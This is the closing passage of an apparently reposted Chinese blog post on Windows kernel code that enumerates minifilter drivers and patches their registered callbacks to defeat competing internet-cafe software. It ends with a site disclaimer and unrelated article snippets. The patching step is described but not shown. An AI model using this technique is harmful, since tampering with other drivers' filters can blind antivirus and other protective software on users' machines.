                // 获取下一个消息回调信息

                pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)((PUCHAR)pFltOperationRegistration + sizeof(FLT_OPERATION_REGISTRATION));

            }

            //DbgPrint("-------------------------------------------------------------------------------\n");

        }

        __except (EXCEPTION_EXECUTE_HANDLER)

        {

            KdPrint(("[2_EXCEPTION_EXECUTE_HANDLER]\n"));

        }

        FltObjectDereference(ppFilterList[i]); //记得一定要加此函数,否则卸载驱动会卡死

    }

}

__except (EXCEPTION_EXECUTE_HANDLER)

{

    KdPrint(("[1_EXCEPTION_EXECUTE_HANDLER]\n"));

}

上述代码,先调用FltEnumerateFilters获取ppFilterList和ulFilterListSize,然后遍历Minifilter中各个过滤器Filter的信息,最后Patch。

总结:

虽然网吧业务竞争激烈,我们的软件仍然脱颖而出,成功对抗上十款竞品。相关代码已经给出,附件也有代码。

后面有时间,我还会发相关的帖子,比如怎么把对抗业务的防御更上一层楼,谢谢大家!

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/415773.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

springboot,maven多模块开发,子模块获取不到父模块添加的依赖,有多个root模块问题解决

错误示范 我以为放进去然后重载一下就是子模块了 导致后续在外层加的依赖&#xff0c;其article都接收不到 解决方案 需要在父模块的modules注册子模块 修改前后对比 此时子模块也能获取父模块的依赖

在Ubuntu/Linux下重温FC游戏——超级玛丽奥

文章目录 在Ubuntu/Linux下重温FC游戏——超级玛丽奥1 概述2 安装 FCEUX 模拟器3 下载 FC ROMS4 重温时光 在Ubuntu/Linux下重温FC游戏——超级玛丽奥 1 概述 FC 游戏机&#xff0c;是任天堂生产、发行和销售的 8 位第三世代家用游戏机&#xff0c;日本版官方名称为家庭电脑&…

Java源码学习之高并发编程基础——AQS源码剖析之线程间通信之条件等待队列

1.前言&目录 前言&#xff1a; 在Java中&#xff0c;使用synchronized关键字构建的锁&#xff0c;线程间通信可以使用某对象实例的wait/notify机制完成。AQS同样也提供了一套线程间通信的解决方案——条件等待队列。 在AQS源码分析的两篇文章AQS源码分析&#xff08;上&am…

逻辑器件输出高阻态时,输出端口的电平是什么状态呢?

高阻态是逻辑器件输出端口的一种状态&#xff0c;当端口处于高阻态时&#xff0c;输入端口的电平变化不会引起输出端口变化&#xff0c;不会对与之相连的后级输入端口或总线产生影响&#xff0c;对于总线架构的电路极为重要。   输出端口处于高阻态时&#xff0c;输出端口处于…

优秀软件工程师的工作思维

引言 在快速迭代的软件开发领域&#xff0c;软件工程师不仅需要精通编程技术&#xff0c;还需要具备产品思维、技术思维和工程思维&#xff0c;这三种思维相辅相成&#xff0c;共同推动产品的成功。本文将借鉴陈春花等管理学者的思考方式&#xff0c;深入剖析软件工程师如何在…

数据恢复工具,电脑+手机双端,十分好用!

哈喽&#xff0c;各位小伙伴们好&#xff0c;我是给大家带来各类黑科技与前沿资讯的小武。 今天给大家安利两款数据恢复工具&#xff0c;分别为电脑手机双端&#xff0c;无论是因为格式化误操作、设备损坏还是其他意外情况&#xff0c;都能轻松找回重要的文件、照片、视频等数…

什么是串口服务器?

1.什么是串口服务器&#xff1f; 了解串口服务器之前&#xff0c;我们需要先了解什么串口。 串口&#xff1a;又叫串行数据接口&#xff0c;主要是用来表示传递各种的数据的通信接口&#xff0c;通常指COM口。一般分为RS232、RS422、与RS485三种。RS232接口&#xff1a;采用全…

Datawhale X 李宏毅苹果书 AI夏令营 Task_1深度学习详解入门

目录 一、机器学习的基本概念 二、机器学习的主要任务类型 三、案例学习&#xff08;以视频的点击次数预测为例&#xff09; 四、梯度下降问题 一、机器学习的基本概念 机器学习&#xff0c;顾名思义&#xff0c;是让机器具备学习的能力。具体来说&#xff0c;机器学习就是…

ASP.NET MVC+LayUI视频上传完整教程

前言 前段时间在使用APS.NET MVCLayUI做视频上传功能的时&#xff0c;发现当上传一些内存比较大的视频就会提示上传失败&#xff0c;后来通过查阅相关资料发现.NET MVC框架为考虑安全问题&#xff0c;在运行时对请求的文件的长度&#xff08;大小&#xff09;做了限制默认为4M…

维信小程序禁止截屏/录屏

一、维信小程序禁止截屏/录屏 //录屏截屏,禁用wx.setVisualEffectOnCapture({visualEffect:hidden});wx.setVisualEffectOnCapture(Object object) 测试安卓手机&#xff1a; 用户截屏&#xff0c;被禁用 用户录屏&#xff0c;录制的是空白内容/黑色内容的视频。 二、微信小…

一种常用嵌入式开发代码库

链接&#xff1a;https://gitee.com/zhangxinyuanqi/varch 使用开源协议&#xff1a;GPL-2.0 varch简介 varch&#xff08;we-architecture&#xff0c;意为我们的框架库&#xff09;是嵌入式C语言常用代码模块库&#xff0c;包含了嵌入式中常用的算法库, 数据结构&#xff…

【云原生系列之SkyWalking的部署】

1、分布式链路追踪 1.1概念 在较大的web集群和微服务环境中&#xff0c;客户端的一次请求需要经过不同的模块&#xff0c;多个不同中间件&#xff0c;多个不同机器一起相互协作才能处理完成客户端的请求&#xff0c;而在这一系列的请求过程之中,处理流程可能是串行执行,也可能…

SprinBoot+Vue实验室考勤管理微信小程序的设计与实现

目录 1 项目介绍2 项目截图3 核心代码3.1 Controller3.2 Service3.3 Dao3.4 application.yml3.5 SpringbootApplication3.5 Vue3.6 uniapp代码 4 数据库表设计5 文档参考6 计算机毕设选题推荐7 源码获取 1 项目介绍 博主个人介绍&#xff1a;CSDN认证博客专家&#xff0c;CSDN平…

【笔试练习】深信服校园招聘c/c 软件开发H卷

题目链接 一、填空题 如图所示&#xff0c;平面上有两条平行的线段&#xff0c;上面的线段有A0~A3 4个点&#xff0c;下面的线段有B0到B5 6个点&#xff0c;现在需要把所有的点都连接起来&#xff0c;有如下约束&#xff1a; 每个端点&#xff0c;都至少有一条到另一平行线上端…

HTML+CSS+Query实现二级菜单

在网页设计中&#xff0c;导航菜单是非常重要的部分之一&#xff0c;尤其是具有二级下拉菜单的导航栏&#xff0c;可以提升用户体验。本文将通过HTML、CSS和jQuery实现一个具有二级菜单标题的导航栏&#xff0c;并详细讲解每一步的实现过程。 <!DOCTYPE html> <html …

TS 学习(一)

如果我们在 ts 中写 不用运行就能在文件中报错 ts 是一种静态类型的检查 能将运行时出现的错误前置 一般不用 命令行编译 ts 转换成 js 将中文转码 tsc index&#xff08;.ts&#xff09; 输入命令生成 配置文件 能在中间进行 配置转换成 js 的哪个规范 es5 还是 6 和其它转…

JavaScript编程语言的学习

一、JavaScript介绍 JavaScript 是一种轻量级的脚本语言。所谓“脚本语言”&#xff0c;指的是它不具备开发操作系统的能力&#xff0c;而是只用来编写控制其他大型应用程序的“脚本”。 JavaScript 是一种嵌入式&#xff08;embedded&#xff09;语言。它本身提供的核心语法不…

数分基础(06)商业分析四种类型简介

文章目录 1. 商业分析2. 四种类型2.1 描述性分析和诊断性分析2.1.1 加载Global_Superstore数据集2.1.2 描述性分析2.1.3 诊断性分析2.1.4 再进一步各地区的订单数量和平均订单金额按客户群体分析销售额和利润折扣率和利润产品类别和子类别的销售和利润 本小节小结 2.2 销售预测…

在众多编程工具中,哪一个最能提高你的生产力?

随着软件开发行业的快速发展&#xff0c;开发者们需要使用多种工具来管理代码、调试应用程序、测试功能、以及处理数据库操作。每一个环节都可能会影响到整个项目的进展和最终质量&#xff0c;因此选择合适的工具对于提高工作效率至关重要。在这篇文章中&#xff0c;我将从开发…

VMware16安装Win11虚拟机全步骤

目录 准备工作下载镜像安装镜像开启虚拟机安装虚拟机安装Win11成功 准备工作 1、虚拟机&#xff1a;VMware16.2.1&#xff08;建议使用VMware16版本&#xff0c;15可能不兼容&#xff09; 2、Windows11镜像 下载镜像 1、浏览器打开网址&#xff1a;I tell you 可以看到有三…